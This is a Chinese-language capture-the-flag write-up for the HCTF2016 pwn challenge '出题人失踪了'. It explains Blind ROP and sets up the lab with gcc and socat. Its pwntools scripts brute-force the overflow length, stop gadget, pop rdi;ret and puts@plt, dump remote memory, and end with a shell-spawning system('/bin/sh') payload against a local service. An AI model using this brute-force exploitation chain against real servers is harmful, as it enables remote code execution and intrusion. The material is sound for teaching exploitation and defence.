题目是HCTF2016上的一道PWN题目,名为“出题人失踪了”,前面三篇文章,前提是全部都可以获得二进制文件,而这道题目的难点恰恰就在于你需要在无法获得二进制文件时如何利用栈溢出进行pwn。废话不多说,让我们开始吧。
赛后出题人在github放出了源代码,出题人失踪了
我们将源代码下载后,可以使用gcc进行编译(要记得加上相应参数,确保编译后No canary found和禁用ASLR):
$ gcc -z noexecstack -fno-stack-protector -no-pie brop.c
编译成功后,会在当前目录下生成一个名为a.out的文件。
然后我们使用socat进行端口转发:
$ socat tcp-l:10001,fork exec:./a.out
此时我们使用nc远程连接(IP为你虚拟机的IP)一下看看:
$ nc 192.168.133.128 10001
当出现下面的提示时,就表示成功了:
网上有人在复现环境时说socat在程序崩溃时会断开连接,但我并未出现这种情况,如果你在复现时出现了程序崩溃导致socat断开连接的情况,需要写一个脚本,帮助socat重新启动连接,脚本代码如下:
#!/bin/sh while true; do num=`ps -ef | grep "socat" | grep -v "grep" | wc -l` if [ $num -lt 5 ]; then socat tcp4-listen:10001,reuseaddr,fork exec:./a.out & fi done
BROP全称为"BlindROP",一般在我们无法获得二进制文件的情况下利用 ROP进行远程攻击某个应用程序,劫持该应用程序的控制流,我们可以不需要知道该应用程序的源代码或者任何二进制代码,该应用程序可以被现有的一些保护机制,诸如NX, ASLR, PIE, 以及stack canaries等保护,应用程序所在的服务器可以是32位系统或者64位系统,BROP这一概念在2014年由Standford的Andrea Bittau发表在Oakland 2014的论文Hacking Blind中提出。
论文地址Hacking Blind
曾经有位mctrain的白帽子在乌云知识库写过一篇详细的BROP文章,文章标题叫《Blind Return Oriented Programming (BROP) Attack – 攻击原理》(这里顺便悼念一下乌云),本小节很多知识点都来自于这篇文章,感谢作者。要利用BROP,有两个先决条件:
程序必须存在一个已知的栈溢出漏洞,并且攻击者知道如何触发该漏洞;
应用程序在crash之后可以重新启动(复活),并且重新启动(复活)的进程不会被re-rand(虽然有ASLR的保护,但是复活的进程和之前的进程的地址随机化是一样的),这个需求其实在现实中是存在且合理的,诸如像如今的nginx, MySQL, Apache, OpenSSH, Samba等应用均符合此类特性。
因此BROP的攻击思路一般有以下几个步骤:
暴力枚举,获取栈溢出长度,如果程序开启了Canary ,顺便将canary也可以爆出来
寻找可以返回到程序main函数的gadget,通常被称为stop_gadget
利用stop_gadget寻找可利用(potentially useful)gadgets,如:pop rdi; ret
寻找BROP Gadget,可能需要诸如write、put等函数的系统调用
寻找相应的PLT地址
dump远程内存空间
拿到相应的GOT内容后,泄露出libc的内存信息,最后利用rop完成getshell
知识点1-stop_gadget:一般情况下,如果我们把栈上的return address覆盖成某些我们随意选取的内存地址的话,程序有很大可能性会挂掉(比如,该return address指向了一段代码区域,里面会有一些对空指针的访问造成程序crash,从而使得攻击者的连接(connection)被关闭)。但是,存在另外一种情况,即该return address指向了一块代码区域,当程序的执行流跳到那段区域之后,程序并不会crash,而是进入了无限循环,这时程序仅仅是hang在了那里,攻击者能够一直保持连接状态。于是,我们把这种类型的gadget,成为stop gadget,这种gadget对于寻找其他gadgets取到了至关重要的作用。
**知识点2-可利用的(potentially useful)gadgets:假设现在我们猜到某个useful gadget,比如pop rdi; ret, 但是由于在执行完这个gadget之后进程还会跳到栈上的下一个地址,如果该地址是一个非法地址,那么进程最后还是会crash,在这个过程中攻击者其实并不知道这个useful gadget被执行过了(因为在攻击者看来最后的效果都是进程crash了),因此攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。这个步骤如下图所示:
但是,如果我们有了stop gadget,那么整个过程将会很不一样. 如果我们在需要尝试的return address之后填上了足够多的stop gadgets,如下图所示:
那么任何会造成进程crash的gadget最后还是会造成进程crash,而那些useful gadget则会进入block状态。尽管如此,还是有一种特殊情况,即那个我们需要尝试的gadget也是一个stop gadget,那么如上所述,它也会被我们标识为useful gadget。不过这并没有关系,因为之后我们还是需要检查该useful gadget是否是我们想要的gadget。
from pwn import* def getsize(): i = 1 while 1: try: p = remote('127.0.0.1',10001) p.recvuntil("WelCome my friend,Do you know password?\n") p.send(i*'a') data = p.recv() p.close() if not data.startswith('No password'): return i-1 else: i+=1 except EOFError: p.close() return i-1 size = getsize() print "size is : %s "% size
可以得知栈溢出长度为72。
from pwn import * def get_stop(): addr = 0x400000 while 1: sleep(0.1) addr += 1 try: print hex(addr) p = remote('127.0.0.1',10001) p.recvuntil("WelCome my friend,Do you know password?\n") payload = 'a'*72 + p64(addr) p.sendline(payload) data = p.recv() p.close() if data.startswith('WelCome'): print "main funciton-->[%s]"%hex(addr) pause() return addr else: print 'one success addr : 0x%x'%(addr) except EOFError as e: p.close() log.info("bad :0x%x"%addr) except: log.info("can't connect") addr -= 1 data = get_stop() print hex(data)
得到stop_gadget地址为0x401070,即main function的地址(每台机器使用的libc版本不同,得到的地址会有所不同)。
*第三步(寻找useful gadget):
这道题目只需要调用puts函数,因此我们只需要1个pop rdi;ret就足够了,那么如何得到一个pop rdi;ret呢?我们知道在64位的ELF中,通常会存在一个pop r15;ret 对应的字节码为41 5f c3。后两字节码5f c3对应的汇编即为pop rdi;ret。
如果存在一个地址,满足以下条件:
Payload1 = 'a'*72 + l64(addr-1)+l64(0)+l64(ret) Payload2 = 'a'*72 + l64(addr)+l64(0)+l64(ret) Payload3 = 'a'*72 + l64(addr+1) +l64(ret)
ret是一个返回函数,且有输出信息。那么我们就可以得到addr,即pop rdi;ret,如果addr就是指向的5f,那么addr-1就是指向41,Payload1 = 'a'72 + l64(addr-1)+l64(0)+l64(0x400711) ,41和5f组成一个指令,pop r15出来,后面接返回地址0x400711,栈平衡满足要求。Payload2 = 'a'72 + l64(addr)+l64(0)+l64(0x400711) ,pop rdi出来,也能正常返回。Payload3 = 'a'*72 + l64(addr+1) +l64(0x400711) ,addr+1指向c3即ret,直接返回后返回0x400711
于是,我们需要先寻找这么一个ret,返回有输出信息:
from pwn import * stop_gadget = 0x401070 def ret_addr(addr): io = remote("127.0.0.1",10001) payload = 'A'*72 +p64(addr) + p64(stop_gadget) io.recvuntil("WelCome my friend,Do you know password?") io.sendline(payload) try: io.recvline() if (io.recv()!=None): print io.recv() io.info("find gadgets at 0x%x" % addr) print "[*] the ret addr at 0x%x" % (addr) io.close() except EOFError as e: io.close() log.info("the connection is close at 0x%x" %addr) start = 0x400000 count = 0 while True: start += 1 ret_addr(start) count += 1 if count >0x1000: break
有了ret(0x401000),我们就可以寻找 pop rdi;ret了:
from pwn import * ret = 0x401000 stop_gadget = 0x401070 def get_useful_gadget(addr): io = remote("127.0.0.1",10001) payload1 = 'A'*72 +p64(addr-1) + p64(0)+p64(ret)+p64(stop_gadget) payload2 = 'A'*72 +p64(addr) + p64(0)+p64(ret)+p64(stop_gadget) payload3 = 'A'*72 +p64(addr+1) +p64(ret)+p64(stop_gadget) io.recvuntil("WelCome my friend,Do you know password?") try: io.sendline(payload1) if io.recvuntil("WelCome my friend,Do you know password?"): io.sendline(payload2) if io.recvuntil("WelCome my friend,Do you know password?"): io.sendline(payload3) if io.recvuntil("WelCome my friend,Do you know password?"): io.info("find gdgets at 0x%x" % addr) log_in_file(addr) io.close() except EOFError as e: io.close() log.info("the connection is close at 0x%x" %addr) start = 0x400000 while True: start += 1 get_useful_gadget(start)
成功找到pop rdi;ret(0x401076),useful_gadget也OK了。
PS:由于我的测试环境是在笔记本上的虚拟机跑的,在这一步跑了很久都没能跑出puts_plt的地址(猜测可能跟我虚拟机中的libc版本有关),故下面获取puts_plt、dump以及最终EXP代码只能照搬他人writeup中的截图和代码,故特此说明。
from pwn import * def get_puts_plt(buf_size, stop_addr, gadgets_addr): pop_rdi = 0x401076 # pop rdi; ret; addr = 0x400000 buf_size = 72 while True: sleep(0.1) addr += 1 payload = "A"*buf_size payload += p64(pop_rdi) payload += p64(0x400000) payload += p64(addr) payload += p64(stop_addr) try: p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) if p.recv().startswith("\x7fELF"): log.info("puts@plt address: 0x%x" % addr) p.close() return addr log.info("bad: 0x%x" % addr) p.close() except EOFError as e: p.close() log.info("bad: 0x%x" % addr) except: log.info("Can't connect") addr -= 1 get_puts_plt(72,0x401070,0x401076)
获得puts_plt地址
from pwn import* def leak(length,rdi_ret,puts_plt,leak_addr,stop_gadget): p = remote('127.0.0.1',10001) payload = 'a'*length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget) p.recvuntil('password?\n') p.sendline(payload) try: data = p.recv(timeout = 0.1) p.close() try: data = data[:data.index("\nWelCome")] except Exception: data = data if data =="": data = '\x00' return data except Exception: p.close() return None length = 72 stop_gadget = 0x401070 brop_gadget = 0x401076 rdi_ret = 0x401076 puts_plt = 0x400560 addr = 0x400000 result = '' while addr < 0x401000: print hex(addr) data = leak(length,rdi_ret,puts_plt,addr,stop_gadget) if data is None: addr += 1 continue else: result += data addr += len(data) with open('code1','wb') as f: f.write(result)
dump下来后的bin文件,我们可以使用radare2工具,使用参数-B参数,指定程序的基地址,然后反汇编puts@plt的位置从而得到puts_got的地址。
最终的EXP利用代码如下:
from pwn import * payload = "A"*buf_size payload += p64(rdi_addr) # pop rdi; ret; payload += p64(binsh_addr) payload += p64(system_addr) payload += p64(stop_addr) p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) p.interactive()
参考资料:
https://www.anquanke.com/post/id/85831
http://www.vuln.cn/6082
https://www.jianshu.com/p/2bd323e7e97f
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.1_pwn_hctf2016_brop.html
[2020元旦礼物]《看雪论坛精华17》发布!(补齐之前所有遗漏版本)!
最后于 1天前 被bugchong编辑 ,原因: 上传附件及声明